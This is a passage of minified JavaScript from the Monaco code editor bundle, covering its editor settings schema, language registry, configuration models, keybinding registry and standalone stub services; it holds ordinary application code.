null)},\"editor.formatOnType\":{type:\"boolean\",default:h.contribInfo.formatOnType,description:n.localize(40,null)},\"editor.formatOnPaste\":{type:\"boolean\",default:h.contribInfo.formatOnPaste,description:n.localize(41,null)},\"editor.autoIndent\":{type:\"boolean\",default:h.autoIndent,description:n.localize(42,null)},\"editor.suggestOnTriggerCharacters\":{type:\"boolean\",default:h.contribInfo.suggestOnTriggerCharacters,description:n.localize(43,null)},\"editor.acceptSuggestionOnEnter\":{type:\"string\",enum:[\"on\",\"smart\",\"off\"],default:h.contribInfo.acceptSuggestionOnEnter,description:n.localize(44,null)},\"editor.acceptSuggestionOnCommitCharacter\":{type:\"boolean\",default:h.contribInfo.acceptSuggestionOnCommitCharacter,description:n.localize(45,null)},\"editor.snippetSuggestions\":{type:\"string\",enum:[\"top\",\"bottom\",\"inline\",\"none\"],enumDescriptions:[n.localize(46,null),n.localize(47,null),n.localize(48,null),n.localize(49,null)],default:h.contribInfo.snippetSuggestions,description:n.localize(50,null)},\"editor.emptySelectionClipboard\":{type:\"boolean\",default:h.emptySelectionClipboard,description:n.localize(51,null)},\"editor.wordBasedSuggestions\":{type:\"boolean\",default:h.contribInfo.wordBasedSuggestions,description:n.localize(52,null)},\"editor.suggestFontSize\":{type:\"integer\",default:0,minimum:0,description:n.localize(53,null)},\"editor.suggestLineHeight\":{type:\"integer\",default:0,minimum:0,description:n.localize(54,null)},\"editor.selectionHighlight\":{type:\"boolean\",default:h.contribInfo.selectionHighlight,description:n.localize(55,null)},\"editor.occurrencesHighlight\":{type:\"boolean\",default:h.contribInfo.occurrencesHighlight,description:n.localize(56,null)},\"editor.overviewRulerLanes\":{type:\"integer\",default:3,description:n.localize(57,null)},\"editor.overviewRulerBorder\":{type:\"boolean\",default:h.viewInfo.overviewRulerBorder,description:n.localize(58,null)},\"editor.cursorBlinking\":{type:\"string\",enum:[\"blink\",\"smooth\",\"phase\",\"expand\",\"solid\"],default:d.blinkingStyleToString(h.viewInfo.cursorBlinking),description:n.localize(59,null)},\"editor.mouseWheelZoom\":{type:\"boolean\",default:h.viewInfo.mouseWheelZoom,description:n.localize(60,null)},\"editor.cursorStyle\":{type:\"string\",enum:[\"block\",\"block-outline\",\"line\",\"line-thin\",\"underline\",\"underline-thin\"],default:d.cursorStyleToString(h.viewInfo.cursorStyle),description:n.localize(61,null)},\"editor.fontLigatures\":{type:\"boolean\",default:h.viewInfo.fontLigatures,description:n.localize(62,null)},\"editor.hideCursorInOverviewRuler\":{type:\"boolean\",default:h.viewInfo.hideCursorInOverviewRuler,description:n.localize(63,null)},\"editor.renderWhitespace\":{type:\"string\",enum:[\"none\",\"boundary\",\"all\"],default:h.viewInfo.renderWhitespace,description:n.localize(64,null)},\"editor.renderControlCharacters\":{type:\"boolean\",default:h.viewInfo.renderControlCharacters,description:n.localize(65,null)},\"editor.renderIndentGuides\":{type:\"boolean\",default:h.viewInfo.renderIndentGuides,description:n.localize(66,null)},\"editor.renderLineHighlight\":{type:\"string\",enum:[\"none\",\"gutter\",\"line\",\"all\"],default:h.viewInfo.renderLineHighlight,description:n.localize(67,null)},\"editor.codeLens\":{type:\"boolean\",default:h.contribInfo.codeLens,description:n.localize(68,null)},\"editor.folding\":{type:\"boolean\",default:h.contribInfo.folding,description:n.localize(69,null)},\"editor.showFoldingControls\":{type:\"string\",enum:[\"always\",\"mouseover\"],default:h.contribInfo.showFoldingControls,description:n.localize(70,null)},\"editor.matchBrackets\":{type:\"boolean\",default:h.contribInfo.matchBrackets,description:n.localize(71,null)},\"editor.glyphMargin\":{type:\"boolean\",default:h.viewInfo.glyphMargin,description:n.localize(72,null)},\"editor.useTabStops\":{type:\"boolean\",default:h.useTabStops,description:n.localize(73,null)},\"editor.trimAutoWhitespace\":{type:\"boolean\",default:g.trimAutoWhitespace,description:n.localize(74,null)},\"editor.stablePeek\":{type:\"boolean\",default:!1,description:n.localize(75,null)},\"editor.dragAndDrop\":{type:\"boolean\",default:h.dragAndDrop,description:n.localize(76,null)},\"editor.accessibilitySupport\":{type:\"string\",enum:[\"auto\",\"on\",\"off\"],enumDescriptions:[n.localize(77,null),n.localize(78,null),n.localize(79,null)],default:h.accessibilitySupport,description:n.localize(80,null)},\"editor.links\":{type:\"boolean\",default:h.contribInfo.links,description:n.localize(81,null)},\"diffEditor.renderSideBySide\":{type:\"boolean\",default:!0,description:n.localize(82,null)},\"diffEditor.ignoreTrimWhitespace\":{type:\"boolean\",default:!0,description:n.localize(83,null)},\"diffEditor.renderIndicators\":{type:\"boolean\",default:!0,description:n.localize(84,null)}}};s.isLinux&&(_.properties[\"editor.selectionClipboard\"]={type:\"boolean\",default:h.contribInfo.selectionClipboard,description:n.localize(85,null)}),v.registerConfiguration(_)}),define(d[436],h([1,0,10,166,9,44,126,17,68,127]),function(e,t,n,i,o,r,s,a,u,l){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var c=Object.prototype.hasOwnProperty,d=function(){function e(e){void 0===e&&(e=!0);var t=this;this._nextLanguageId=1,this._languages={},this._mimeTypesMap={},this._nameMap={},this._lowercaseNameMap={},this._languageIds=[],e&&(this._registerLanguages(s.ModesRegistry.getLanguages()),s.ModesRegistry.onDidAddLanguages(function(e){return t._registerLanguages(e)}))}return e.prototype._registerLanguages=function(e){var t=this;if(0!==e.length){for(var n=0;n<e.length;n++)this._registerLanguage(e[n]);this._mimeTypesMap={},this._nameMap={},this._lowercaseNameMap={},Object.keys(this._languages).forEach(function(e){var n=t._languages[e];n.name&&(t._nameMap[n.name]=n.identifier),n.aliases.forEach(function(e){t._lowercaseNameMap[e.toLowerCase()]=n.identifier}),n.mimetypes.forEach(function(e){t._mimeTypesMap[e]=n.identifier})}),r.Registry.as(l.Extensions.Configuration).registerOverrideIdentifiers(s.ModesRegistry.getLanguages().map(function(e){return e.id}))}},e.prototype._registerLanguage=function(t){var n=t.id,i=null;if(c.call(this._languages,n))i=this._languages[n];else{var o=this._nextLanguageId++;i={identifier:new a.LanguageIdentifier(n,o),name:null,mimetypes:[],aliases:[],extensions:[],filenames:[],configurationFiles:[]},this._languageIds[o]=n,this._languages[n]=i}e._mergeLanguage(i,t)},e._mergeLanguage=function(e,t){var r=t.id,s=null;if(void 0!==t.mimetypes&&Array.isArray(t.mimetypes))for(y=0;y<t.mimetypes.length;y++)s||(s=t.mimetypes[y]),e.mimetypes.push(t.mimetypes[y]);if(s||(s=\"text/x-\"+r,e.mimetypes.push(s)),Array.isArray(t.extensions))for(var a=0,u=t.extensions;a<u.length;a++){var l=u[a];i.registerTextMime({id:r,mime:s,extension:l}),e.extensions.push(l)}if(Array.isArray(t.filenames))for(var c=0,d=t.filenames;c<d.length;c++){var h=d[c];i.registerTextMime({id:r,mime:s,filename:h}),e.filenames.push(h)}if(Array.isArray(t.filenamePatterns))for(var p=0,f=t.filenamePatterns;p<f.length;p++){var g=f[p];i.registerTextMime({id:r,mime:s,filepattern:g})}if(\"string\"==typeof t.firstLine&&t.firstLine.length>0){var m=t.firstLine;\"^\"!==m.charAt(0)&&(m=\"^\"+m);try{var v=new RegExp(m);o.regExpLeadsToEndlessLoop(v)||i.registerTextMime({id:r,mime:s,firstline:v})}catch(e){n.onUnexpectedError(e)}}e.aliases.push(r);var _=null;if(void 0!==t.aliases&&Array.isArray(t.aliases)&&(_=0===t.aliases.length?[null]:t.aliases),null!==_)for(var y=0;y<_.length;y++)_[y]&&0!==_[y].length&&e.aliases.push(_[y]);var C=null!==_&&_.length>0;if(C&&null===_[0]);else{var b=(C?_[0]:null)||r;!C&&e.name||(e.name=b)}\"string\"==typeof t.configuration&&e.configurationFiles.push(t.configuration)},e.prototype.isRegisteredMode=function(e){return!!c.call(this._mimeTypesMap,e)||c.call(this._languages,e)},e.prototype.getRegisteredModes=function(){return Object.keys(this._languages)},e.prototype.getRegisteredLanguageNames=function(){return Object.keys(this._nameMap)},e.prototype.getLanguageName=function(e){return c.call(this._languages,e)?this._languages[e].name:null},e.prototype.getModeIdForLanguageNameLowercase=function(e){return c.call(this._lowercaseNameMap,e)?this._lowercaseNameMap[e].language:null},e.prototype.getConfigurationFiles=function(e){return c.call(this._languages,e)?this._languages[e].configurationFiles||[]:[]},e.prototype.getMimeForMode=function(e){return c.call(this._languages,e)?this._languages[e].mimetypes[0]||null:null},e.prototype.extractModeIds=function(e){var t=this;return e?e.split(\",\").map(function(e){return e.trim()}).map(function(e){return c.call(t._mimeTypesMap,e)?t._mimeTypesMap[e].language:e}).filter(function(e){return c.call(t._languages,e)}):[]},e.prototype.getLanguageIdentifier=function(e){if(e===u.NULL_MODE_ID||0===e)return u.NULL_LANGUAGE_IDENTIFIER;var t;if(\"string\"==typeof e)t=e;else if(!(t=this._languageIds[e]))return null;return c.call(this._languages,t)?this._languages[t].identifier:null},e.prototype.getModeIdsFromLanguageName=function(e){return e&&c.call(this._nameMap,e)?[this._nameMap[e].language]:[]},e.prototype.getModeIdsFromFilenameOrFirstLine=function(e,t){if(!e&&!t)return[];var n=i.guessMimeTypes(e,t);return this.extractModeIds(n.join(\",\"))},e.prototype.getExtensions=function(e){if(!c.call(this._nameMap,e))return[];var t=this._nameMap[e];return this._languages[t.language].extensions},e.prototype.getFilenames=function(e){if(!c.call(this._nameMap,e))return[];var t=this._nameMap[e];return this._languages[t.language].filenames},e}();t.LanguagesRegistry=d}),define(d[437],h([1,0,10,11,7,511,436]),function(e,t,n,i,o,r,s){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var a=function(){function e(){this._onDidCreateMode=new i.Emitter,this.onDidCreateMode=this._onDidCreateMode.event,this._instantiatedModes={},this._registry=new s.LanguagesRegistry}return e.prototype._onReady=function(){return o.TPromise.as(!0)},e.prototype.isRegisteredMode=function(e){return this._registry.isRegisteredMode(e)},e.prototype.getRegisteredModes=function(){return this._registry.getRegisteredModes()},e.prototype.getRegisteredLanguageNames=function(){return this._registry.getRegisteredLanguageNames()},e.prototype.getExtensions=function(e){return this._registry.getExtensions(e)},e.prototype.getFilenames=function(e){return this._registry.getFilenames(e)},e.prototype.getMimeForMode=function(e){return this._registry.getMimeForMode(e)},e.prototype.getLanguageName=function(e){return this._registry.getLanguageName(e)},e.prototype.getModeIdForLanguageName=function(e){return this._registry.getModeIdForLanguageNameLowercase(e)},e.prototype.getModeIdByFilenameOrFirstLine=function(e,t){var n=this._registry.getModeIdsFromFilenameOrFirstLine(e,t);return n.length>0?n[0]:null},e.prototype.getModeId=function(e){var t=this._registry.extractModeIds(e);return t.length>0?t[0]:null},e.prototype.getLanguageIdentifier=function(e){return this._registry.getLanguageIdentifier(e)},e.prototype.getConfigurationFiles=function(e){return this._registry.getConfigurationFiles(e)},e.prototype.lookup=function(e){for(var t=[],n=this._registry.extractModeIds(e),i=0;i<n.length;i++){var o=n[i];t.push({modeId:o,isInstantiated:this._instantiatedModes.hasOwnProperty(o)})}return t},e.prototype.getMode=function(e){for(var t=this._registry.extractModeIds(e),i=!1,o=0;o<t.length;o++){if(this._instantiatedModes.hasOwnProperty(t[o]))return this._instantiatedModes[t[o]];i=i||\"plaintext\"===t[o]}if(i){var r=null;return this.getOrCreateMode(e).then(function(e){r=e}).done(null,n.onUnexpectedError),r}return null},e.prototype.getOrCreateMode=function(e){var t=this;return this._onReady().then(function(){var n=t.getModeId(e);return t._getOrCreateMode(n||\"plaintext\")})},e.prototype.getOrCreateModeByLanguageName=function(e){var t=this;return this._onReady().then(function(){var n=t._getModeIdByLanguageName(e);return t._getOrCreateMode(n||\"plaintext\")})},e.prototype._getModeIdByLanguageName=function(e){var t=this._registry.getModeIdsFromLanguageName(e);return t.length>0?t[0]:null},e.prototype.getOrCreateModeByFilenameOrFirstLine=function(e,t){var n=this;return this._onReady().then(function(){var i=n.getModeIdByFilenameOrFirstLine(e,t);return n._getOrCreateMode(i||\"plaintext\")})},e.prototype._getOrCreateMode=function(e){if(!this._instantiatedModes.hasOwnProperty(e)){var t=this.getLanguageIdentifier(e);this._instantiatedModes[e]=new r.FrankensteinMode(t),this._onDidCreateMode.fire(this._instantiatedModes[e])}return this._instantiatedModes[e]},e}();t.ModeServiceImpl=a}),define(d[438],h([1,0,44,442,127,62]),function(e,t,n,i,o,r){\"use strict\";function s(){var e=Object.create(null),t=n.Registry.as(o.Extensions.Configuration).getConfigurationProperties();for(var i in t)u(e,i,t[i].default,function(e){return console.error(\"Conflict in default settings: \"+e)});return e}function a(e,t){var n=Object.create(null);for(var i in e)u(n,i,e[i],t);return n}function u(e,t,n,i){for(var o=t.split(\".\"),r=o.pop(),s=e,a=0;a<o.length;a++){var u=o[a],l=s[u];switch(typeof l){case\"undefined\":l=s[u]=Object.create(null);break;case\"object\":break;default:return void i(\"Ignoring \"+t+\" as \"+o.slice(0,a+1).join(\".\")+\" is \"+JSON.stringify(l))}s=l}\"object\"==typeof s?s[r]=n:i(\"Ignoring \"+t+\" as \"+o.join(\".\")+\" is \"+JSON.stringify(s))}function l(){var e=n.Registry.as(o.Extensions.Configuration).getConfigurationProperties();return Object.keys(e)}function c(e){return e.substring(1,e.length-1)}Object.defineProperty(t,\"__esModule\",{value:!0}),t.getDefaultValues=s,t.toValuesTree=a,t.getConfigurationKeys=l;var d=function(e){function t(){var t=e.call(this,s())||this;return t._keys=l(),t._overrides=Object.keys(t._contents).filter(function(e){return o.OVERRIDE_PROPERTY_PATTERN.test(e)}).map(function(e){return{identifiers:[c(e).trim()],contents:a(t._contents[e],function(e){return console.error(\"Conflict in default settings file: \"+e)})}}),t}return f(t,e),Object.defineProperty(t.prototype,\"keys\",{get:function(){return this._keys},enumerable:!0,configurable:!0}),t}(r.ConfigurationModel);t.DefaultConfigurationModel=d;var h=function(e){function t(t,n){void 0===t&&(t=\"\"),void 0===n&&(n=\"\");var i=e.call(this)||this;return i.name=n,i._parseErrors=[],t&&i.update(t),i}return f(t,e),Object.defineProperty(t.prototype,\"errors\",{get:function(){return this._parseErrors},enumerable:!0,configurable:!0}),t.prototype.update=function(e){function t(e){Array.isArray(h)?h.push(e):d&&(h[d]=e),o.OVERRIDE_PROPERTY_PATTERN.test(d)&&r(d,e)}function r(e,t){l.push({identifiers:[c(e).trim()],raw:t,contents:null})}var s=this,u={},l=[],d=null,h=[],p=[],f=[],g={onObjectBegin:function(){var e={};t(e),p.push(h),h=e,d=null},onObjectProperty:function(e){d=e},onObjectEnd:function(){h=p.pop()},onArrayBegin:function(){var e=[];t(e),p.push(h),h=e,d=null},onArrayEnd:function(){h=p.pop()},onLiteralValue:t,onError:function(e){f.push({error:e})}};if(e)try{i.visit(e,g),u=h[0]||{}}catch(e){console.error(\"Error while parsing settings file \"+this.name+\": \"+e),this._parseErrors=[e]}this.processRaw(u);var m=n.Registry.as(o.Extensions.Configuration).getConfigurationProperties();this._overrides=l.map(function(e){var t={};for(var n in e.raw)m[n]&&m[n].overridable&&(t[n]=e.raw[n]);return{identifiers:e.identifiers,contents:a(t,function(e){return console.error(\"Conflict in settings file \"+s.name+\": \"+e)})}})},t.prototype.processRaw=function(e){var t=this;this._contents=a(e,function(e){return console.error(\"Conflict in settings file \"+t.name+\": \"+e)}),this._keys=Object.keys(e)},t}(r.ConfigurationModel);t.CustomConfigurationModel=h,t.overrideIdentifierFromKey=c,t.keyFromOverrideIdentifier=function(e){return\"[\"+e+\"]\"}}),define(d[105],h([1,0,40,15,31,44]),function(e,t,n,i,o,r){\"use strict\";function s(e,t){return e.weight1!==t.weight1?e.weight1-t.weight1:e.command<t.command?-1:e.command>t.command?1:e.weight2-t.weight2}Object.defineProperty(t,\"__esModule\",{value:!0});var a=function(){function e(){this.WEIGHT={editorCore:function(e){return void 0===e&&(e=0),0+e},editorContrib:function(e){return void 0===e&&(e=0),100+e},workbenchContrib:function(e){return void 0===e&&(e=0),200+e},builtinExtension:function(e){return void 0===e&&(e=0),300+e},externalExtension:function(e){return void 0===e&&(e=0),400+e}},this._keybindings=[]}return e.bindToCurrentPlatform=function(e){if(1===i.OS){if(e&&e.win)return e.win}else if(2===i.OS){if(e&&e.mac)return e.mac}else if(e&&e.linux)return e.linux;return e},e.bindToCurrentPlatform2=function(e){if(1===i.OS){if(e&&e.win)return e.win}else if(2===i.OS){if(e&&e.mac)return e.mac}else if(e&&e.linux)return e.linux;return e},e.prototype.registerKeybindingRule=function(t){var o=this,r=e.bindToCurrentPlatform(t);r&&r.primary&&this.registerDefaultKeybinding(n.createKeybinding(r.primary,i.OS),t.id,t.weight,0,t.when),r&&Array.isArray(r.secondary)&&r.secondary.forEach(function(e,r){return o.registerDefaultKeybinding(n.createKeybinding(e,i.OS),t.id,t.weight,-r-1,t.when)})},e.prototype.registerKeybindingRule2=function(t){var n=e.bindToCurrentPlatform2(t);n&&n.primary&&this.registerDefaultKeybinding(n.primary,t.id,t.weight,0,t.when)},e.prototype.registerCommandAndKeybindingRule=function(e){this.registerKeybindingRule(e),o.CommandsRegistry.registerCommand(e.id,e)},e._mightProduceChar=function(e){return e>=21&&e<=30||(e>=31&&e<=56||(80===e||81===e||82===e||83===e||84===e||85===e||86===e||110===e||111===e||87===e||88===e||89===e||90===e||91===e||92===e))},e.prototype._assertNoCtrlAlt=function(t,n){t.ctrlKey&&t.altKey&&!t.metaKey&&e._mightProduceChar(t.keyCode)&&console.warn(\"Ctrl+Alt+ keybindings should not be used by default under Windows. Offender: \",t,\" for \",n)},e.prototype.registerDefaultKeybinding=function(e,t,n,o,r){1===i.OS&&(2===e.type?this._assertNoCtrlAlt(e.firstPart,t):this._assertNoCtrlAlt(e,t)),this._keybindings.push({keybinding:e,command:t,commandArgs:null,when:r,weight1:n,weight2:o})},e.prototype.getDefaultKeybindings=function(){var e=this._keybindings.slice(0);return e.sort(s),e},e}();t.KeybindingsRegistry=new a,t.Extensions={EditorModes:\"platform.keybindingsRegistry\"},r.Registry.add(t.Extensions.EditorModes,t.KeybindingsRegistry)}),define(d[129],h([1,0,70,36,24,7,62,31,414,419,159,46,20,11,438,3,4,65,105,407,40,418,15]),function(e,t,n,i,o,r,s,a,u,l,c,d,h,p,g,m,v,_,y,C,b,w,S){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var E=function(){function e(e){this._widget=e}return e.prototype.getId=function(){return\"editor\"},e.prototype.getControl=function(){return this._widget},e.prototype.getSelection=function(){return this._widget.getSelection()},e.prototype.focus=function(){this._widget.focus()},e.prototype.isVisible=function(){return!0},e.prototype.withTypedEditor=function(e,t){return h.isCommonCodeEditor(this._widget)?e(this._widget):t(this._widget)},e}();t.SimpleEditor=E;var L=function(){function e(e){this.model=e,this._onDispose=new p.Emitter}return Object.defineProperty(e.prototype,\"onDispose\",{get:function(){return this._onDispose.event},enumerable:!0,configurable:!0}),e.prototype.load=function(){return r.TPromise.as(this)},Object.defineProperty(e.prototype,\"textEditorModel\",{get:function(){return this.model},enumerable:!0,configurable:!0}),e.prototype.dispose=function(){this._onDispose.fire()},e}();t.SimpleModel=L;var x=function(){function e(){this.openEditorDelegate=null}return e.prototype.setEditor=function(e){this.editor=new E(e)},e.prototype.setOpenEditorDelegate=function(e){this.openEditorDelegate=e},e.prototype.openEditor=function(e,t){var n=this;return r.TPromise.as(this.editor.withTypedEditor(function(t){return n.doOpenEditor(t,e)},function(t){return n.doOpenEditor(t.getOriginalEditor(),e)||n.doOpenEditor(t.getModifiedEditor(),e)}))},e.prototype.doOpenEditor=function(e,t){if(!this.findModel(e,t)){if(t.resource){if(this.openEditorDelegate)return this.openEditorDelegate(t.resource.toString()),null;var i=t.resource.scheme;if(i===n.Schemas.http||i===n.Schemas.https)return v.windowOpenNoOpener(t.resource.toString()),this.editor}return null}var o=t.options.selection;if(o)if(\"number\"==typeof o.endLineNumber&&\"number\"==typeof o.endColumn)e.setSelection(o),e.revealRangeInCenter(o);else{var r={lineNumber:o.startLineNumber,column:o.startColumn};e.setPosition(r),e.revealPositionInCenter(r)}return this.editor},e.prototype.findModel=function(e,t){var n=e.getModel();return n.uri.toString()!==t.resource.toString()?null:n},e}();t.SimpleEditorService=x;var N=function(){function e(){}return e.prototype.setEditor=function(e){this.editor=new E(e)},e.prototype.createModelReference=function(e){var t,n=this;return(t=this.editor.withTypedEditor(function(t){return n.findModel(t,e)},function(t){return n.findModel(t.getOriginalEditor(),e)||n.findModel(t.getModifiedEditor(),e)}))?r.TPromise.as(new m.ImmortalReference(new L(t))):r.TPromise.as(new m.ImmortalReference(null))},e.prototype.registerTextModelContentProvider=function(e,t){return{dispose:function(){}}},e.prototype.findModel=function(e,t){var n=e.getModel();return n.uri.toString()!==t.toString()?null:n},e}();t.SimpleEditorModelResolverService=N;var M=function(){function e(){}return e.prototype.show=function(){return e.NULL_PROGRESS_RUNNER},e.prototype.showWhile=function(e,t){return null},e.NULL_PROGRESS_RUNNER={done:function(){},total:function(){},worked:function(){}},e}();t.SimpleProgressService=M;var T=function(){function e(){}return e.prototype.show=function(t,n){switch(t){case i.default.Error:console.error(n);break;case i.default.Warning:console.warn(n);break;default:console.log(n)}return e.Empty},e.prototype.hideAll=function(){},e.prototype.confirm=function(e){var t=e.message;return e.detail&&(t=t+\"\\n\\n\"+e.detail),window.confirm(t)},e.Empty=function(){},e}();t.SimpleMessageService=T;var k=function(){function e(e){this._onWillExecuteCommand=new p.Emitter,this.onWillExecuteCommand=this._onWillExecuteCommand.event,this._instantiationService=e,this._dynamicCommands=Object.create(null)}return e.prototype.addCommand=function(e,t){var n=this;return this._dynamicCommands[e]=t,{dispose:function(){delete n._dynamicCommands[e]}}},e.prototype.executeCommand=function(e){for(var t=[],n=1;n<arguments.length;n++)t[n-1]=arguments[n];var i=a.CommandsRegistry.getCommand(e)||this._dynamicCommands[e];if(!i)return r.TPromise.wrapError(new Error(\"command '\"+e+\"' not found\"));try{this._onWillExecuteCommand.fire({commandId:e});var o=this._instantiationService.invokeFunction.apply(this._instantiationService,[i.handler].concat(t));return r.TPromise.as(o)}catch(e){return r.TPromise.wrapError(e)}},e}();t.StandaloneCommandService=k;var I=function(e){function t(t,n,i,o){var r=e.call(this,t,n,i)||this;return r._cachedResolver=null,r._dynamicKeybindings=[],r.toDispose.push(v.addDisposableListener(o,v.EventType.KEY_DOWN,function(e){var t=new _.StandardKeyboardEvent(e);r._dispatch(t,t.target)&&t.preventDefault()})),r}return f(t,e),t.prototype.addDynamicKeybinding=function(e,t,n,i){var o=this,r=[];this._dynamicKeybindings.push({keybinding:b.createKeybinding(t,S.OS),command:e,when:i,weight1:1e3,weight2:0}),r.push({dispose:function(){for(var t=0;t<o._dynamicKeybindings.length;t++)if(o._dynamicKeybindings[t].command===e)return o._dynamicKeybindings.splice(t,1),void o.updateResolver({source:d.KeybindingSource.Default})}});var s=this._commandService;if(!(s instanceof k))throw new Error(\"Unknown command service!\");return r.push(s.addCommand(e,{handler:n})),this.updateResolver({source:d.KeybindingSource.Default}),m.combinedDisposable(r)},t.prototype.updateResolver=function(e){this._cachedResolver=null,this._onDidUpdateKeybindings.fire(e)},t.prototype._getResolver=function(){if(!this._cachedResolver){var e=this._toNormalizedKeybindingItems(y.KeybindingsRegistry.getDefaultKeybindings(),!0),t=this._toNormalizedKeybindingItems(this._dynamicKeybindings,!1);this._cachedResolver=new c.KeybindingResolver(e,t)}return this._cachedResolver},t.prototype._toNormalizedKeybindingItems=function(e,t){for(var n=[],i=0,o=0,r=e.length;o<r;o++){var s=e[o],a=s.when?s.when.normalize():null,u=s.keybinding;if(u)for(var l=this.resolveKeybinding(u),c=0;c<l.length;c++)n[i++]=new w.ResolvedKeybindingItem(l[c],s.command,s.commandArgs,a,t);else n[i++]=new w.ResolvedKeybindingItem(null,s.command,s.commandArgs,a,t)}return n},t.prototype.resolveKeybinding=function(e){return[new l.USLayoutResolvedKeybinding(e,S.OS)]},t.prototype.resolveKeyboardEvent=function(e){var t=new b.SimpleKeybinding(e.ctrlKey,e.shiftKey,e.altKey,e.metaKey,e.keyCode);return new l.USLayoutResolvedKeybinding(t,S.OS)},t.prototype.resolveUserBinding=function(e){return[]},t}(u.AbstractKeybindingService);t.StandaloneKeybindingService=I;var D=function(){function e(){this._onDidUpdateConfiguration=new p.Emitter,this.onDidUpdateConfiguration=this._onDidUpdateConfiguration.event,this._configuration=new s.Configuration(new g.DefaultConfigurationModel,new s.ConfigurationModel)}return e.prototype.configuration=function(){return this._configuration},e.prototype.reloadConfiguration=function(e){return r.TPromise.as(this.getConfiguration(e))},e.prototype.getConfiguration=function(e,t){return this.configuration().getValue(e,t)},e.prototype.lookup=function(e,t){return this.configuration().lookup(e,t)},e.prototype.keys=function(){return this.configuration().keys()},e.prototype.values=function(){return this._configuration.values()},e.prototype.getConfigurationData=function(){return this.configuration().toData()},e}();t.SimpleConfigurationService=D;var O=function(){function e(e){var t=this;this.configurationService=e,this._onDidUpdateConfigurationEmitter=new p.Emitter,this.configurationService.onDidUpdateConfiguration(function(){t._onDidUpdateConfigurationEmitter.fire()})}return e.prototype.getConfiguration=function(){return this.configurationService.getConfiguration()},e}();t.SimpleResourceConfigurationService=O;var R=function(){function e(e){this._commandService=e}return e.prototype.createMenu=function(e,t){return new C.Menu(e,r.TPromise.as(!0),this._commandService,t)},e}();t.SimpleMenuService=R;var P=function(){function e(){this.isOptedIn=!1}return e.prototype.publicLog=function(e,t){return r.TPromise.as(null)},e.prototype.getTelemetryInfo=function(){return null},e}();t.StandaloneTelemetryService=P;var A=function(){function e(){this._onDidChangeWorkspaceName=new p.Emitter,this.onDidChangeWorkspaceName=this._onDidChangeWorkspaceName.event,this._onDidChangeWorkspaceRoots=new p.Emitter,this.onDidChangeWorkspaceRoots=this._onDidChangeWorkspaceRoots.event,this.legacyWorkspace={resource:o.default.from({scheme:e.SCHEME,authority:\"model\",path:\"/\"})},this.workspace={id:\"4064f6ec-cb38-4ad0-af64-ee6467e63c82\",roots:[this.legacyWorkspace.resource],name:this.legacyWorkspace.resource.fsPath}}return e.prototype.getLegacyWorkspace=function(){return this.legacyWorkspace},e.prototype.getWorkspace=function(){return this.workspace},e.prototype.saveWorkspace=function(){return r.TPromise.as(null)},e.prototype.getRoot=function(t){return t&&t.scheme===e.SCHEME?this.workspace.roots[0]:void 0},e.prototype.hasWorkspace=function(){return!0},e.prototype.hasFolderWorkspace=function(){return!0},e.prototype.hasMultiFolderWorkspace=function(){return!1},e.prototype.isInsideWorkspace=function(t){return t&&t.scheme===e.SCHEME},e.prototype.toResource=function(e){return o.default.file(e)},e}();t.SimpleWorkspaceContextService=A}),define(d[76],h([1,0,16]),function(e,t,n){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0}),t.ID=\"storageService\",t.IStorageService=n.createDecorator(t.ID);!function(e){e[e.GLOBAL=0]=\"GLOBAL\",e[e.WORKSPACE=1]=\"WORKSPACE\"}(t.StorageScope||(t.StorageScope={})),t.NullStorageService={_serviceBrand:void 0,store:function(){},swap:function(){},remove:function(){},get:function(e,t,n){return n},getInteger:function(e,t,n){return n},getBoolean:function(e,t,n){return n}}}),define(d[66],h([1,0,11,3,15,28,168,132,412,410,76]),function(e,t,n,i,o,r,s,a,u,l,c){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var d=function(){function e(){this._keys=Object.create(null),this._values=Object.create(null)}return e.prototype.has=function(e){var t=e.getId();return!!this._values[t]},e.prototype.get=function(e){var t=e.getId();return this._values[t]},e.prototype.put=function(e,t){var n=e.getId();this._keys[n]=e,this._values[n]=t},e.prototype.remove=function(e){var t=e.getId();delete this._keys[t],delete this._values[t]},e.prototype.getKeys=function(){var e=this;return Object.keys(this._keys).map(function(t){return e._keys[t]})},e.prototype.getValues=function(){var e=this;return Object.keys(this._keys).map(function(t){return e._values[t]})},e}();t.readFontInfo=function(e){return h.INSTANCE.readConfiguration(e)},t.restoreFontInfo=function(e){var t=e.get(\"editorFontInfo\",c.StorageScope.GLOBAL);if(\"string\"==typeof t){var n=null;try{n=JSON.parse(t)}catch(e){return}Array.isArray(n)&&h.INSTANCE.restoreFontInfo(n)}},t.saveFontInfo=function(e){var t=h.INSTANCE.saveFontInfo();e.store(\"editorFontInfo\",JSON.stringify(t),c.StorageScope.GLOBAL)};var h=function(e){function t(){var t=e.call(this)||this;return t._onDidChange=t._register(new n.Emitter),t.onDidChange=t._onDidChange.event,t._cache=new d,t._evictUntrustedReadingsTimeout=-1,t}return f(t,e),t.prototype.dispose=function(){-1!==this._evictUntrustedReadingsTimeout&&(clearTimeout(this._evictUntrustedReadingsTimeout),this._evictUntrustedReadingsTimeout=-1),e.prototype.dispose.call(this)},t.prototype._writeToCache=function(e,t){var n=this;this._cache.put(e,t),t.isTrusted||-1!==this._evictUntrustedReadingsTimeout||(this._evictUntrustedReadingsTimeout=setTimeout(function(){n._evictUntrustedReadingsTimeout=-1,n._evictUntrustedReadings()},5e3))},t.prototype._evictUntrustedReadings=function(){for(var e=this._cache.getValues(),t=!1,n=0,i=e.length;n<i;n++){var o=e[n];o.isTrusted||(t=!0,this._cache.remove(o))}t&&this._onDidChange.fire()},t.prototype.saveFontInfo=function(){return this._cache.getValues().filter(function(e){return e.isTrusted})},t.prototype.restoreFontInfo=function(e){for(var t=0,n=e.length;t<n;t++){var i=new a.FontInfo(e[t],!1);this._writeToCache(i,i)}},t.prototype.readConfiguration=function(e){if(!this._cache.has(e)){var n=t._actualReadConfiguration(e);(n.typicalHalfwidthCharacterWidth<=2||n.typicalFullwidthCharacterWidth<=2||n.spaceWidth<=2||n.maxDigitWidth<=2)&&(n=new 